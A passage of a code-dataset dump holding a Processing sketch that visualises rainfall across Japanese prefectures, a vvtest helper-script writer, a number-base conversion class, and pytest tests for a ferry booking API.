ttori,Okayama,Shimane,Hiroshima,Yamaguchi,Kagawa,Ehime,Tokushima,Kochi,Fukuoka,Oita,Saga,Miyazaki,Kumamoto,Kagoshima,Nagasaki,Okinawa,Hokkaido]\nmusic_change = 0\nseason_img = []\ntime_change = 0\nscreen = 0\ndata_prefecture=[[],[],[],[],[],[],[],[]]\ndata_point=[[],[],[],[],[],[],[],[]]\ndata_precipitation=[[],[],[],[],[],[],[],[]]\nLoc_change=0\nLoc_play=0\ntime = 0\n\n#setup関数\ndef setup():\n #execfile('download_csv.py')\n size(700, 700)\n frameRate(10)\n \n #csvデータの読み込み\n todouhuken_csv()\n precipitation_csv()\n\n #画像の設定\n\n global img_j\n img_j=loadImage('img/japan.jpg')\n img_j.resize(width, height)\n season_img.append(loadImage('img/spring.png'))\n season_img.append(loadImage('img/summer.png'))\n season_img.append(loadImage('img/fall.png'))\n season_img.append(loadImage('img/winter.png'))\n for i in range(4):\n season_img[i].resize(100,100)\n\n #音楽の再生\n \n global minim, player\n minim = Minim(this)\n player = minim.loadFile('sound/muon.mp3')\n player.play()\n\n#draw関数の作成\ndef draw():\n global screen,Loc_change,Loc_play,time\n #タイトル画面\n if screen == 0:\n background(195)\n fill(0)\n textAlign(CENTER, CENTER)\n textSize(50)\n text(\"Precipitation visualization\", 350,180)\n fill(255)\n rect(150,300,400,60)\n rect(150,400,400,60)\n fill(0)\n textSize(20)\n text(\"2019 Precipitation Transition\",width/2,328)\n text(\"This Week's Precipitation Transition\",width/2,428)\n elif screen == 1:\n #画像\n image(img_j, 0, 0)\n for i in range (4):\n image(season_img[i],300+100*i,570)\n \n #時系列ストップ\n if time_change == 0:\n j.append(map(mouseX, 0, width, 0, 365))\n if len(j) >= 3:\n del(j[0])\n loc_mouse.append(mouseX)\n if len(loc_mouse) >= 3:\n del(loc_mouse[0])\n #合計の降水量\n rainfall = 0\n for i in range(47):\n rainfall += int(prefecture[i][int(j[-1])])\n \n #音楽\n global sound, minim, player\n if time_change == 0:\n if music_change == 0:\n if pmouseX != mouseX:\n if rainfall <= 30:\n player.pause()\n player = minim.loadFile('sound/morning.mp3')\n value = 5\n player.setGain(value)\n player.play()\n elif rainfall <= 100:\n player.pause()\n player = minim.loadFile('sound/rain_1.mp3')\n player.play()\n elif rainfall <= 500:\n player.pause()\n player = minim.loadFile('sound/rain_2.mp3')\n player.play()\n elif rainfall <= 1000:\n player.pause()\n player = minim.loadFile('sound/rain_3.mp3')\n player.play()\n elif rainfall <= 2000:\n player.pause()\n player = minim.loadFile('sound/rain_4.mp3')\n player.play()\n else:\n player.pause()\n player = minim.loadFile('sound/rain_5.mp3')\n player.play()\n else:\n if player.isPlaying() == True:\n player.pause()\n \n #円の表示\n fill(0, 0, 255, 80)\n for i in range(47):\n ellipse(loc_x[i],loc_y[i],int(prefecture[i][int(j[-1])]),int(prefecture[i][int(j[-1])]))\n \n #下の表示\n fill(0)\n textAlign(CENTER, CENTER)\n textSize(15)\n text(date[int(j[-1])], loc_mouse[-1], height - 10)\n text(rainfall, loc_mouse[-1], height - 25)\n \n #音楽のミュートボタン\n if music_change == 0:\n pushMatrix()\n translate(630,10)\n fill(255)\n rect(0,0,60,60)\n fill(0)\n rect(5,20,10,20)\n beginShape()\n vertex(15,20)\n vertex(30,5)\n vertex(30,55)\n vertex(15,40)\n endShape()\n strokeWeight(5)\n line(35,30,50,30)\n line(35,20,50,4)\n line(35,40,50,56)\n strokeWeight(1)\n popMatrix()\n else:\n pushMatrix()\n translate(630,10)\n fill(255)\n rect(0,0,60,60)\n fill(0)\n rect(5,20,10,20)\n beginShape()\n vertex(15,20)\n vertex(30,5)\n vertex(30,55)\n vertex(15,40)\n endShape()\n popMatrix()\n pushMatrix()\n translate(width-70,80)\n noFill()\n rect(0,0,60,60)\n fill(0)\n rect(15,5,30,50)\n fill(255)\n stroke(0)\n beginShape()\n vertex(16,5)\n vertex(41,10)\n vertex(41,60)\n vertex(16,55)\n endShape()\n fill(0)\n ellipse(37,35,3,3)\n popMatrix()\n \n prefecture_name_display()\n season_display()\n elif screen == 2:\n time += 1\n background(195)\n for i in range(8):\n fill(0,0,255,190)\n try:\n rect(40+i*80,600,60,-int(data_precipitation[i][Loc_change])*10)\n except:\n textSize(60)\n text(\"No Data\",width/2,height/2)\n fill(0)\n textSize(15)\n try:\n text(str(int(data_precipitation[i][Loc_change]))+\"mm\",70+i*80,590)\n text(str(month())+\"/\"+str(day()-(7-i)),70+i*80,610)\n for i in range(7):\n line(70+i*80,600-int(data_precipitation[i][Loc_change])*10,70+(i+1)*80,600-int(data_precipitation[i+1][Loc_change])*10)\n except:\n pass\n \n textSize(30)\n text(data_prefecture[0][Loc_change],width/2,640)\n text(data_point[0][Loc_change],width/2,670)\n \n line(10,600,690,600)\n pushMatrix()\n translate(10,height-70)\n noFill()\n rect(0,0,60,60)\n fill(0)\n beginShape()\n vertex(5,30)\n vertex(25,10)\n vertex(25,50)\n endShape()\n rect(25,20,30,20)\n popMatrix()\n pushMatrix()\n translate(width-70,height-70)\n noFill()\n rect(0,0,60,60)\n fill(0)\n beginShape()\n vertex(55,30)\n vertex(35,10)\n vertex(35,50)\n endShape()\n rect(5,20,30,20)\n popMatrix()\n pushMatrix()\n translate(width-70,10)\n noFill()\n rect(0,0,60,60)\n fill(0)\n rect(15,5,30,50)\n fill(255)\n beginShape()\n vertex(16,5)\n vertex(41,10)\n vertex(41,60)\n vertex(16,55)\n endShape()\n fill(0)\n ellipse(37,35,3,3)\n popMatrix()\n \n if Loc_play == 0:\n pushMatrix()\n translate(10,10)\n noFill()\n rect(0,0,60,60)\n fill(0)\n beginShape()\n vertex(10,5)\n vertex(50,30)\n vertex(10,55)\n endShape()\n popMatrix()\n fill(0)\n else:\n pushMatrix()\n translate(10,10)\n noFill()\n rect(0,0,60,60)\n fill(0)\n rect(12,10,12,40)\n rect(36,10,12,40)\n popMatrix()\n fill(0)\n if time >= 3:\n Loc_change += 3\n time = 0\n if Loc_change >= 1293:\n Loc_change = 0\n Loc_play = 0\n \n elif screen == 3:\n background(195)\n screen = 4\n elif screen == 4:\n x = random(0,width)\n y = random(0,height)\n fill(255,0,0)\n textSize(30)\n text(\"Run \\\"download_csv.py\\\"\",x,y)\n \n\n\n#マウスクリック\ndef mouseClicked():\n global screen,music_change,time_change,Loc_change,Loc_play\n if screen == 0:\n if mouseX >= 150 and mouseX <= 550 and mouseY >= 300 and mouseY <= 360:\n screen = 1\n if mouseX >= 150 and mouseX <= 550 and mouseY >= 400 and mouseY <= 460:\n screen = 2\n elif screen == 1:\n if mouseX >= 630 and mouseX <= 690 and mouseY >= 10 and mouseY <= 70:\n if music_change == 0:\n music_change = 1\n elif music_change == 1:\n stop()\n music_change = 0\n elif mouseX >= 630 and mouseX <= 690 and mouseY >= 80 and mouseY <= 140:\n stop()\n screen = 0\n else:\n if time_change == 0:\n time_change = 1\n elif time_change == 1:\n time_change = 0\n elif screen == 2:\n if mouseX >= 10 and mouseX <= 70 and mouseY >= 630 and mouseY <= 690:\n if Loc_change == 0:\n Loc_change = 1292\n else:\n Loc_change -= 1\n if mouseX >= 630 and mouseX <= 690 and mouseY >= 630 and mouseY <= 690:\n if Loc_change == 1293:\n Loc_change = 0\n else:\n Loc_change += 1\n if mouseX >= 10 and mouseX <= 70 and mouseY >= 10 and mouseY <= 70:\n if Loc_play == 0:\n Loc_play = 1\n elif Loc_play == 1:\n Loc_play = 0\n if mouseX >= 630 and mouseX <= 690 and mouseY >= 10 and mouseY <= 70:\n screen = 0\n \n\n#左上の表示\ndef prefecture_name_display():\n fill(175, 171, 171)\n rect(30, 30, 400, 150)\n fill(0)\n textSize(30)\n text(\"Move the mouse cursor\",230,80)\n text(\"to the center of the circle.\",230,120)\n textSize(50)\n for i in range(47):\n if mouseX >= loc_x[i]-10 and mouseX <= loc_x[i]+10 and mouseY >= loc_y[i]-10 and mouseY <= loc_y[i]+10:\n fill(175, 171, 171)\n rect(30, 30, 400, 150)\n fill(0)\n text(str(prefecture_name[i]),230,50)\n textSize(30)\n text(date[int(j[-1])],230,100)\n textSize(50)\n text(\"rainfall:\"+str(prefecture[i][int(j[-1])]),230,150)\n break\n\n#季節の表示\ndef season_display():\n pushMatrix()\n translate(300,570)\n noStroke()\n fill(255)\n if date[int(j[-1])][5:6] >= \"3\" and date[int(j[-1])][5:6] <= \"5\":\n rect(100,0,300,100)\n elif date[int(j[-1])][5:6] >= \"6\" and date[int(j[-1])][5:6] <= \"8\":\n rect(0,0,100,100)\n rect(200,0,200,100)\n elif date[int(j[-1])][5:6] == \"9\":\n rect(0,0,200,100)\n rect(300,0,100,100)\n elif date[int(j[-1])][5:6] == \"1\" and date[int(j[-1])][6:7] >= \"0\" and date[int(j[-1])][6:7] <= \"1\":\n rect(0,0,200,100)\n rect(300,0,100,100)\n elif date[int(j[-1])][5:6] == \"1\" and date[int(j[-1])][6:7] == \"2\":\n rect(0,0,300,100)\n elif date[int(j[-1])][1:3]:\n rect(0,0,300,100)\n stroke(1)\n popMatrix()\n\n#csvデータ \ndef todouhuken_csv():\n todouhuken = loadStrings(\"data/todouhuken.csv\")\n for i in range(5, 370):\n for y, data in enumerate(todouhuken[i].split(',')):\n if y == 0:\n date.append(data)\n if y == 1:\n Aomori.append(data)\n elif y == 2:\n Iwate.append(data)\n elif y == 3:\n Akita.append(data)\n elif y == 4:\n Yamagata.append(data)\n elif y == 5:\n Miyagi.append(data)\n elif y == 6:\n Fukushima.append(data)\n elif y == 7:\n Ibaraki.append(data)\n elif y == 8:\n Tochigi.append(data)\n elif y == 9:\n Gunma.append(data)\n elif y == 10:\n Yamanashi.append(data)\n elif y == 11:\n Saitama.append(data)\n elif y == 12:\n Chiba.append(data)\n elif y == 13:\n Tokyo.append(data)\n elif y == 14:\n Niigata.append(data)\n elif y == 15:\n Nagano.append(data)\n elif y == 16:\n Shizuoka.append(data)\n elif y == 17:\n Toyama.append(data)\n elif y == 18:\n Gifu.append(data)\n elif y == 19:\n Aichi.append(data)\n elif y == 20:\n Ishikawa.append(data)\n elif y == 21:\n Fukui.append(data)\n elif y == 22:\n Mie.append(data)\n elif y == 23:\n Shiga.append(data)\n elif y == 24:\n Kyoto.append(data)\n elif y == 25:\n Nara.append(data)\n elif y == 26:\n Osaka.append(data)\n elif y == 27:\n Wakayama.append(data)\n elif y == 28:\n Hyogo.append(data)\n elif y == 29:\n Kanagawa.append(data)\n elif y == 30:\n Tottori.append(data)\n elif y == 31:\n Okayama.append(data)\n elif y == 32:\n Shimane.append(data)\n elif y == 33:\n Hiroshima.append(data)\n elif y == 34:\n Yamaguchi.append(data)\n elif y == 35:\n Kagawa.append(data)\n elif y == 36:\n Ehime.append(data)\n elif y == 37:\n Tokushima.append(data)\n elif y == 38:\n Kochi.append(data)\n elif y == 39:\n Fukuoka.append(data)\n elif y == 40:\n Oita.append(data)\n elif y == 41:\n Saga.append(data)\n elif y == 42:\n Miyazaki.append(data)\n elif y == 43:\n Kumamoto.append(data)\n elif y == 44:\n Kagoshima.append(data)\n elif y == 45:\n Nagasaki.append(data)\n elif y == 46:\n Okinawa.append(data)\n elif y == 47:\n Hokkaido.append(data)\n \ndef precipitation_csv():\n global screen\n try:\n for j in range(8):\n precipitation = loadStrings(\"data/new_data_after\"+str(j)+\"_\"+str(month())+\"_\"+str(day())+\".csv\")\n for i in range(1293):\n for y, data in enumerate(precipitation[i].split(',')):\n if y == 0:\n data_prefecture[j].append(data)\n if y == 1:\n data_point[j].append(data)\n if y == 2:\n data_precipitation[j].append(data)\n except:\n screen = 3\n\n#音楽\ndef stop():\n player.close()\n minim.stop()\n","repo_name":"yuta08/Precipitation-visualization","sub_path":"Precipitation-visualization.pyde","file_name":"Precipitation-visualization.pyde","file_ext":"pyde","file_size_in_byte":16731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36744650225","text":"import os, sys\nfrom os.path import join as pjoin\nfrom os.path import dirname, normpath\n\ntry:\n from shlex import quote\nexcept Exception:\n from pipes import quote\n\nfrom .teststatus import DIFF_EXIT_STATUS, SKIP_EXIT_STATUS\n\n\ndef writeScript( testcase, filename, lang, rtconfig, plat, loc ):\n \"\"\"\n Writes a helper script for the test. The script language is based on\n the 'lang' argument.\n \"\"\"\n tspec = testcase.getSpec()\n tstat = testcase.getStat()\n tname = tspec.getName()\n\n troot = tspec.getRootpath()\n srcdir = loc.path_to_source( tspec.getFilepath(), tspec.getRootpath() )\n\n test_dir = loc.getTestingDirectory()\n\n configdirs = rtconfig.getAttr('configdir')\n\n tdir = rtconfig.getAttr('vvtestdir')\n assert tdir\n\n trigdir = pjoin( tdir, 'trig' )\n\n projdir = rtconfig.getAttr('exepath')\n if projdir is None:\n projdir = ''\n else:\n projdir = loc.path_to_file( tspec.getFilepath(), projdir )\n\n onopts = rtconfig.getAttr('onopts')\n offopts = rtconfig.getAttr('offopts')\n\n platname = plat.getName()\n cplrname = plat.getCompiler() or ''\n\n timeout = testcase.getStat().getAttr( 'timeout', -1 )\n\n dep_list = testcase.getDepDirectories()\n\n w = LineWriter()\n\n if lang == 'py':\n\n w.add( 'import os, sys',\n '',\n 'NAME = '+repr(tname),\n 'TESTID = '+repr( tspec.getTestID().computeMatchString() ),\n 'PLATFORM = '+repr(platname),\n 'COMPILER = '+repr(cplrname),\n 'VVTESTSRC = '+repr(tdir),\n 'TESTROOT = '+repr(test_dir),\n 'PROJECT = '+repr(projdir),\n 'OPTIONS = '+repr( onopts ),\n 'OPTIONS_OFF = '+repr( offopts ),\n 'SRCDIR = '+repr(srcdir),\n 'TIMEOUT = '+repr(timeout),\n 'KEYWORDS = '+repr(tspec.getKeywords(include_implicit=False)) )\n\n w.add( 'CONFIGDIR = '+repr(configdirs) )\n\n # order matters; configdir should be the first entry in sys.path\n w.add( '',\n 'sys.path.insert( 0, '+repr(trigdir)+' )',\n 'sys.path.insert( 0, VVTESTSRC )' )\n for d in configdirs[::-1]:\n w.add( 'sys.path.insert( 0, '+repr(d)+' )' )\n\n w.add( '',\n 'tmpL = '+repr(configdirs),\n 'if \"PATH\" in os.environ:',\n ' tmpL += os.environ[\"PATH\"].split(\":\")',\n 'os.environ[\"PATH\"] = \":\".join( tmpL )' )\n\n w.add( '',\n 'diff_exit_status = '+str(DIFF_EXIT_STATUS),\n 'skip_exit_status = '+str(SKIP_EXIT_STATUS),\n 'opt_analyze = \"--execute-analysis-sections\" in sys.argv[1:]' )\n\n platenv = plat.getEnvironment()\n w.add( '',\n '# platform settings',\n 'PLATFORM_VARIABLES = '+repr(platenv),\n 'def apply_platform_variables():',\n ' \"sets the platform variables in os.environ\"' )\n for k,v in platenv.items():\n w.add( ' os.environ[\"'+k+'\"] = '+repr(v) )\n\n w.add( '', '# parameters defined by the test' )\n paramD = tspec.getParameters( typed=True )\n w.add( 'PARAM_DICT = '+repr( paramD ) )\n for k,v in paramD.items():\n w.add( k+' = '+repr(v) )\n\n if tspec.isAnalyze():\n # the parameter names and values of the children tests\n w.add( '', '# parameters comprising the children' )\n psetD = tspec.getParameterSet().getParameters( typed=True )\n for n,L in psetD.items():\n if len(n) == 1:\n L2 = [ T[0] for T in L ]\n w.add( 'PARAM_'+n[0]+' = ' + repr(L2) )\n else:\n n2 = '_'.join( n )\n w.add( 'PARAM_'+n2+' = ' + repr(L) )\n\n L = generate_dependency_list( dep_list, test_dir )\n w.add( '', 'DEPDIRS = '+repr(L) )\n\n D = generate_dependency_map( dep_list, test_dir )\n w.add( '', 'DEPDIRMAP = '+repr(D) )\n\n w.add( '',\n 'RESOURCE_np = '+repr( len(tstat.getAttr('processor ids')) ),\n 'RESOURCE_IDS_np = '+repr(tstat.getAttr('processor ids')),\n 'RESOURCE_TOTAL_np = '+repr(tstat.getAttr('total processors')) )\n\n if tstat.getAttr('device ids',None):\n w.add( '',\n 'RESOURCE_ndevice = '+repr( len(tstat.getAttr('device ids')) ),\n 'RESOURCE_IDS_ndevice = '+repr(tstat.getAttr('device ids')),\n 'RESOURCE_TOTAL_ndevice = '+repr(tstat.getAttr('total devices')) )\n else:\n w.add( '',\n 'RESOURCE_ndevice = 0',\n 'RESOURCE_IDS_ndevice = []',\n 'RESOURCE_TOTAL_ndevice = 0' )\n\n ###################################################################\n \n elif lang in ['sh','bash']:\n\n w.add( \"\"\"\n # save the command line arguments into variables\n NUMCMDLINE=0\n CMDLINE_VARS=\n for arg in \"$@\" ; do\n NUMCMDLINE=$((NUMCMDLINE+1))\n eval CMDLINE_${NUMCMDLINE}='$arg'\n CMDLINE_VARS=\"$CMDLINE_VARS CMDLINE_${NUMCMDLINE}\"\n done\n\n # this function returns true if the given string was an\n # argument on the command line\n cmdline_option() {\n optname=$1\n for var in $CMDLINE_VARS ; do\n eval val=\"\\$$var\"\n [ \"X$val\" = \"X$optname\" ] && return 0\n done\n return 1\n }\n\n opt_analyze=0\n cmdline_option --execute-analysis-sections && opt_analyze=1\n \"\"\" )\n\n w.add( '',\n 'NAME=\"'+tname+'\"',\n 'TESTID=\"'+tspec.getTestID().computeMatchString()+'\"',\n 'PLATFORM=\"'+platname+'\"',\n 'COMPILER=\"'+cplrname+'\"',\n 'VVTESTSRC=\"'+tdir+'\"',\n 'TESTROOT=\"'+test_dir+'\"',\n 'PROJECT=\"'+projdir+'\"',\n 'OPTIONS=\"'+' '.join( onopts )+'\"',\n 'OPTIONS_OFF=\"'+' '.join( offopts )+'\"',\n 'SRCDIR=\"'+srcdir+'\"',\n 'TIMEOUT=\"'+str(timeout)+'\"',\n 'PYTHONEXE=\"'+sys.executable+'\"' )\n\n kwds = ' '.join( tspec.getKeywords(include_implicit=False) )\n w.add( 'KEYWORDS=\"'+kwds+'\"' )\n\n w.add( 'CONFIGDIR=\"'+':'.join( configdirs )+'\"' )\n\n w.add( '',\n 'tmp=',\n '[ \"x$PATH\" = \"x\" ] || tmp=\":$PATH\"',\n 'export PATH=\"'+':'.join(configdirs)+'$tmp\"' )\n\n w.add( '',\n 'diff_exit_status='+str(DIFF_EXIT_STATUS),\n 'skip_exit_status='+str(SKIP_EXIT_STATUS) )\n\n platenv = plat.getEnvironment()\n w.add( '',\n '# platform settings',\n 'PLATFORM_VARIABLES=\"'+' '.join( platenv.keys() )+'\"' )\n for k,v in platenv.items():\n w.add( 'PLATVAR_'+k+'=\"'+v+'\"' )\n w.add( 'apply_platform_variables() {',\n ' # sets the platform variables in the environment' )\n for k,v in platenv.items():\n w.add( ' export '+k+'=\"'+v+'\"' )\n if len(platenv) == 0:\n w.add( ' :' ) # cannot have an empty function\n w.add( '}' )\n\n w.add( '', '# parameters defined by the test' )\n paramD = tspec.getParameters()\n s = ' '.join( [ n+'/'+v for n,v in paramD.items() ] )\n w.add( 'PARAM_DICT=\"'+s+'\"' )\n for k,v in paramD.items():\n w.add( k+'=\"'+v+'\"' )\n\n if tspec.isAnalyze():\n w.add( '', '# parameters comprising the children' )\n psetD = tspec.getParameterSet().getParameters()\n if len(psetD) > 0:\n # the parameter names and values of the children tests\n for n,L in psetD.items():\n n2 = '_'.join( n )\n L2 = [ '/'.join( v ) for v in L ]\n w.add( 'PARAM_'+n2+'=\"' + ' '.join(L2) + '\"' )\n\n L = generate_dependency_list( dep_list, test_dir )\n w.add( '', 'DEPDIRS=\"'+' '.join(L)+'\"' )\n\n sprocs = [ str(procid) for procid in tstat.getAttr('processor ids') ]\n w.add( '',\n 'RESOURCE_np=\"'+str( len(sprocs) )+'\"',\n 'RESOURCE_IDS_np=\"'+' '.join(sprocs)+'\"',\n 'RESOURCE_TOTAL_np=\"'+str(tstat.getAttr('total processors'))+'\"' )\n\n if tstat.getAttr('device ids',None):\n sdevs = [ str(devid) for devid in tstat.getAttr('device ids') ]\n w.add( '',\n 'RESOURCE_ndevice=\"'+str( len(sdevs) )+'\"',\n 'RESOURCE_IDS_ndevice=\"'+' '.join(sdevs)+'\"',\n 'RESOURCE_TOTAL_ndevice=\"'+str(tstat.getAttr('total devices'))+'\"' )\n else:\n w.add( '',\n 'RESOURCE_ndevice=\"0\"',\n 'RESOURCE_IDS_ndevice=\"\"',\n 'RESOURCE_TOTAL_ndevice=\"0\"' )\n\n # the name script_util_plugin.sh is now deprecated, Dec 2021\n for d in configdirs[::-1]:\n for fn in ['script_util.sh','script_util_plugin.sh']:\n pn = pjoin( d, fn )\n if os.path.isfile(pn):\n w.add( 'source '+quote(pn) )\n \n w.write( filename )\n\n\n#########################################################################\n\nclass LineWriter:\n\n def __init__(self):\n self.lineL = []\n\n def add(self, *args):\n \"\"\n if len(args) > 0:\n indent = ''\n if type(args[0]) == type(2):\n n = args.pop(0)\n indent = ' '*n\n for line in args:\n if line.startswith('\\n'):\n for line in self._split( line ):\n self.lineL.append( indent+line )\n else:\n self.lineL.append( indent+line )\n\n def _split(self, s):\n \"\"\n off = None\n lineL = []\n for line in s.split( '\\n' ):\n line = line.strip( '\\r' )\n lineL.append( line )\n if off == None and line.strip():\n i = 0\n for c in line:\n if c != ' ':\n off = i\n break\n i += 1\n if off == None:\n return lineL\n return [ line[off:] for line in lineL ]\n\n def write(self, filename):\n \"\"\n fp = open( filename, 'w' )\n fp.write( '\\n'.join( self.lineL ) + '\\n' )\n fp.close()\n\n\ndef generate_dependency_list( dep_list, test_dir ):\n \"\"\n L = [ pjoin( test_dir, T[1] ) for T in dep_list ]\n L.sort()\n return L\n\n\ndef generate_dependency_map( dep_list, test_dir ):\n \"\"\n D = {}\n\n for pat,depdir in dep_list:\n if pat:\n S = D.get( pat, None )\n if S == None:\n S = set()\n D[ pat ] = S\n S.add( pjoin( test_dir, depdir ) )\n\n for k,S in D.items():\n D[ k ] = list( S )\n D[ k ].sort()\n\n return D\n","repo_name":"sandialabs/vvtest","sub_path":"libvvtest/ScriptWriter.py","file_name":"ScriptWriter.py","file_ext":"py","file_size_in_byte":10999,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"27019902015","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# author:xm1230\n# datetime:2019/1/24 20:24\n# software: PyCharm\n\nimport math\n\n\nclass Solution:\n def __init__(self):\n self.ERROR_RANGE = 1e-6\n\n self.dic = {0: '0', 1: '1', 2: '2', 3: '3', 4: '4', 5: '5', 6: '6', 7: '7', 8: '8', 9: '9', 10: 'a', 11: 'b',\n 12: 'c',\n 13: 'd', 14: 'e', 15: 'f'}\n\n self.dic_ni = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'a': 10, 'b': 11,\n 'c': 12,\n 'd': 13, 'e': 14, 'f': 15}\n\n def sqrt(self, n):\n y = 1.0\n while abs(y * y - n) > self.ERROR_RANGE:\n y = (y + n / y) / 2\n return y\n\n def bin2(self, n):\n t = 2\n if n < t:\n return n\n result = ''\n while n > t - 1:\n result = str(n % t) + result\n n = math.floor(n / t)\n return str(n) + result\n\n def oct8(self, n):\n t = 8\n if n < t:\n return n\n result = ''\n while n > t - 1:\n result = str(n % t) + result\n n = math.floor(n / t)\n return str(n) + result\n\n def toHex(self, n):\n '''\n 10转16进制\n :param n:\n :return:\n '''\n if n >= 0:\n t = 16\n if n < t:\n return self.dic[n]\n result = ''\n while n > t - 1:\n result = self.dic[n % t] + result\n n = math.floor(n / t)\n result = self.dic[n] + result\n else:\n tmp = str(self.bin2(-n))\n # 补0\n for i in range(32 - len(tmp)):\n tmp = '0' + tmp\n print(''.join(tmp), '2进制补0')\n tmp = [i for i in tmp]\n count = 31\n # 取反\n for i in range(len(tmp)):\n tmp[i] = '0' if tmp[i] == '1' else '1'\n print(''.join(tmp), '取反')\n # +1\n while count > 0:\n if tmp[count] == '0':\n tmp[count] = '1'\n break\n else:\n tmp[count] = '0'\n count -= 1\n print(''.join(tmp), '+1')\n # 第一位为1\n tmp = ['1'] + tmp[1:]\n print(''.join(tmp), '第一位为1')\n result = ''.join(tmp)\n # 转为16进制\n tmp16 = ''\n for i in range(8):\n tmp2 = ''\n for j in range(4):\n tmp2 = result[(i + 1) * 4 - j - 1] + tmp2\n tmp16 = tmp16 + self.toHex(self.int10(tmp2, 2))\n # print(tmp16, tmp2, i, j)\n result = tmp16\n return result\n\n def int10(self, n, e=2):\n count = len(str(n)) - 1\n result = 0\n for i in str(n):\n result = result + self.dic_ni[i] * (e ** count)\n count -= 1\n return result\n\n\nif __name__ == '__main__':\n c = Solution()\n # for i in range(1, 160):\n # tmp = tohex(i)\n # print(tmp, i, int10(tmp, 16))\n print(c.toHex(-2))\n # print(c.toHex(-1))\n # for i in range(10, 30):\n # tmp = sqrt(i)\n # tmp2 = i ** 0.5\n # print(tmp, tmp2, i, tmp * tmp)\n","repo_name":"xjh1230/py_algorithm","sub_path":"test/t_sqrt.py","file_name":"t_sqrt.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"8526837969","text":"import logging\nfrom urllib.parse import quote, urljoin\n\nimport pytest\nfrom model_bakery import baker\nfrom rest_framework import status\n\nfrom bookings.models import Booking\nfrom bookings.ticketing_system import TicketingSystemAPI\nfrom gtfs.tests.utils import get_feed_for_maas_operator\nfrom mock_ticket_api.utils import get_confirmations_data, get_reservation_data\n\n\ndef get_log_records(caplog):\n \"\"\"Return api call log messages.\n\n Format of record tuples is (logger_name, log_level, message).\n \"\"\"\n return [\n log[2]\n for log in caplog.record_tuples\n if log[0] == \"bookings.ticketing_system\" and log[1] == logging.INFO\n ]\n\n\n@pytest.mark.django_db\ndef test_api_call_for_reservation(\n maas_operator, fare_test_data, requests_mock, snapshot, caplog\n):\n ticketing_system = fare_test_data.feed.ticketing_system\n ticketing_system.bookings_api_url = \"https://api.example.com\"\n ticketing_system.save()\n requests_mock.post(\n ticketing_system.bookings_api_url,\n json=get_reservation_data(),\n status_code=status.HTTP_201_CREATED,\n )\n ticket_data = {\n \"route\": fare_test_data.routes[0],\n \"departures\": [fare_test_data.departures[0]],\n \"tickets\": [\n {\n \"fare\": fare_test_data.fares[0],\n \"fare_rider_category\": fare_test_data.rider_categories[0],\n }\n ],\n \"locale\": \"fi\",\n \"request_id\": \"requestID\",\n \"transaction_id\": \"transactionID\",\n }\n\n Booking.objects.create_reservation(maas_operator, ticketing_system, ticket_data)\n log_messages = get_log_records(caplog)\n\n assert requests_mock.call_count == 1\n snapshot.assert_match(requests_mock.request_history[0].json())\n assert requests_mock.request_history[0].headers[\"Authorization\"] == \"Bearer APIKEY\"\n assert len(log_messages) == 1\n snapshot.assert_match(log_messages[0])\n\n\n@pytest.mark.django_db\ndef test_api_call_for_confirmation(maas_operator, requests_mock, snapshot, caplog):\n feed = get_feed_for_maas_operator(maas_operator, True)\n extra_params = {\n \"locale\": \"fi\",\n \"request_id\": \"requestID\",\n \"transaction_id\": \"transactionID\",\n }\n reserved_booking = baker.make(\n Booking,\n maas_operator=maas_operator,\n source_id=\"test_confirmation_id\",\n ticketing_system=feed.ticketing_system,\n )\n ticketing_system = feed.ticketing_system\n ticketing_system.bookings_api_url = \"https://api.example.com\"\n ticketing_system.save()\n requests_mock.post(\n urljoin(\n ticketing_system.bookings_api_url, f\"{reserved_booking.source_id}/confirm/\"\n ),\n json=get_confirmations_data(reserved_booking.source_id, include_qr=False),\n status_code=status.HTTP_200_OK,\n )\n\n reserved_booking.confirm(passed_parameters=extra_params)\n log_messages = get_log_records(caplog)\n\n assert requests_mock.call_count == 1\n snapshot.assert_match(requests_mock.request_history[0].json())\n assert requests_mock.request_history[0].headers[\"Authorization\"] == \"Bearer APIKEY\"\n assert len(log_messages) == 1\n snapshot.assert_match(log_messages[0])\n\n\n@pytest.mark.django_db\ndef test_api_call_for_booking_detail(maas_operator, requests_mock, snapshot, caplog):\n feed = get_feed_for_maas_operator(maas_operator, True)\n extra_params = {\n \"locale\": \"fi\",\n \"request_id\": \"requestID\",\n }\n confirmed_booking = baker.make(\n Booking,\n maas_operator=maas_operator,\n source_id=\"test_confirmation_id\",\n ticketing_system=feed.ticketing_system,\n status=Booking.Status.CONFIRMED,\n )\n ticketing_system = feed.ticketing_system\n ticketing_system.bookings_api_url = \"https://api.example.com\"\n ticketing_system.save()\n requests_mock.get(\n urljoin(ticketing_system.bookings_api_url, f\"{confirmed_booking.source_id}/\"),\n json=get_confirmations_data(confirmed_booking.source_id, include_qr=False),\n status_code=status.HTTP_200_OK,\n )\n\n confirmed_booking.retrieve(passed_parameters=extra_params)\n\n log_messages = get_log_records(caplog)\n\n assert requests_mock.call_count == 1\n query = requests_mock.request_history[0].query\n assert \"locale\" in query\n assert \"request_id\" in query\n assert requests_mock.request_history[0].headers[\"Authorization\"] == \"Bearer APIKEY\"\n assert len(log_messages) == 1\n snapshot.assert_match(log_messages[0])\n\n\n@pytest.mark.django_db\ndef test_ticket_system_call_use_quoted_identifiers(maas_operator, requests_mock):\n identifier = \"MAAS:5154.1621500322898.jxgTgw,11E8\"\n feed = get_feed_for_maas_operator(maas_operator, True)\n ticketing_system = feed.ticketing_system\n requests_mock.post(\n urljoin(ticketing_system.bookings_api_url, f\"{quote(identifier)}/confirm/\"),\n json=get_confirmations_data(identifier, include_qr=False),\n status_code=status.HTTP_200_OK,\n )\n\n api = TicketingSystemAPI(\n ticketing_system=ticketing_system, maas_operator=maas_operator\n )\n\n data = api.confirm(identifier)\n assert data[\"status\"] == \"CONFIRMED\"\n","repo_name":"City-of-Helsinki/maritime-maas","sub_path":"bookings/tests/test_api_call.py","file_name":"test_api_call.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
